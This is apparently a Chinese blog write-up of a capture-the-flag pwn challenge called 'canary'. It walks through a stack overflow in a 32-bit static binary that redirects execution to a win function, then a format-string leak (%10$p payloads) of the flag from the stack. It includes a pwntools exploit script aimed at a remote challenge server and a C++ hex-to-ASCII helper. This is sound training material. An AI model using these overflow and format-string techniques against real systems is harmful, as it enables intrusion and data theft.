ROIS冬令营———canary

题目自取

链接:https://pan.baidu.com/s/1m8PK-A-7Oaqduxk7Pxucnw?pwd=cdf5 
提取码:cdf5

开始:

首先放到IDA查看基本情况

有个很明显的栈溢出漏洞,再去看看程序的具体保护情况

 基本情况就是32位程序,开了canary保护,nx保护(不能写入shellcode),然后没开pie
我第一时间想到的就是去泄露canary,然后完成rop得到shell
不过这里有一个特别让我疑惑的点,就是保护措施明明打开了canary保护,但是我反汇编出来的vuln函数居然没有canary的检查,就直接ret返回了

好吧,既然没有那岂不是更容易了,于是我就准备system+/bin/sh了
但是gdb里发现居然没有system的plt表的地址,然后一看原来是静态编译,那没事了
静态编译就更好办了,直接ROPgadget开起来,构造如下图即可(这当然是一种方法)
   
不过很不走运,在IDA里,并没有找到/bin/sh字符串,这希望也破灭了。

不过再仔细看看有个win函数。我们打开看看

这分明就是一个后门函数啊。
基本逻辑就是v4读入flag,再把v4的内容读65个字节给v3(应该就是把flag给v3),然后让用户手动输入v2,然后重点来了,很明显的格式化字符串漏洞‘printf(v2,v1)’,而v2正是我们可以操控的。于是结合前面的vuln栈溢出漏洞,我们可以覆盖返回地址为win函数的地址,从而完成跳转到win函数,因为v3是在栈上,且读入了flag,那么我们的思路就是通过格式化字符串漏洞去泄露出flag
 

这里我们反汇编一下win函数

 如果只是单纯根据IDA给的栈位置v3位置位于esp+0x1b的话,其实是错的,可以很明显看到esp实际上一直在变动,所以通过综合判断,应该开始于第是十个参数,那接下来就是泄露啦,过程有点繁琐,就是不停地给v2读入%k$p获得对应的字符串

exp如下

from pwn import *
elf = ELF('./canary')
io =remote("81.68.85.214",8007)

context(os="linux", arch="i386",log_level="debug") 
from LibcSearcher import *

io.recv()
payload=b'a'*28+p32(elf.symbols['win'])
io.sendline(payload)

payload=b'%10$p%11$p'
io.sendline(payload)

io.recv()
io.interactive()

 其中给v2的payload要重复好多次才能完全把flag泄露
 

这里上传我写的c++代码,用于转换地址为对应阿斯克码字母的
 


#include <iostream>
#include <cstdio>
#include <cmath>
#include <cstring>
#include <sstream>
using namespace std;
long long str_int(string str);
int weishu(long long num);
void shuchu(int ws, long long num);
int main()
{
	string str;
	cin >> str;
	long long num;
	num= str_int(str);
	printf("%x\n", num);
	printf("%d\n", weishu(num));
	shuchu(weishu(num), num);
	return 0;

}

int weishu(long long num)
{
	int ws = 0;
	for (int i = 0; num > 0; i++)
	{
		num = num / 16;
		ws++;
	}
	return ws;
}

long long str_int(string str)
{
	long long num = 0;
	long long len;
	len = str.length();
	for (int i = 2; i < len; i++) {
		if (str[i] >= '0' && str[i] <= '9')
			num = num * 16 + str[i] - '0';
		else if (str[i] >= 'A' && str[i] <= 'F')
			num = num * 16 + str[i] - 'A' + 10;
		else if (str[i] >= 'a' && str[i] <= 'f')
			num = num * 16 + str[i] - 'a' + 10;
	}
	return num;
}

void shuchu(int ws, long long num)
{
	std::stringstream char_stream;
	for (int i = 0; i < 8; i++) {
		char_stream << char((num >> (8 * i)) & 0xff);
	}
	std::string char_string = char_stream.str();

	// Print the result
	std::cout << "The string representation of the hexadecimal number is: " << char_string << std::endl;

}


转换为字符的十六进制数的八位构成。最终,我们可以使用该字符串,例如打印或在程序中使用该字符串。

把每一次泄露出来的地址都放到里面跑一下,就拿到flag啦!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值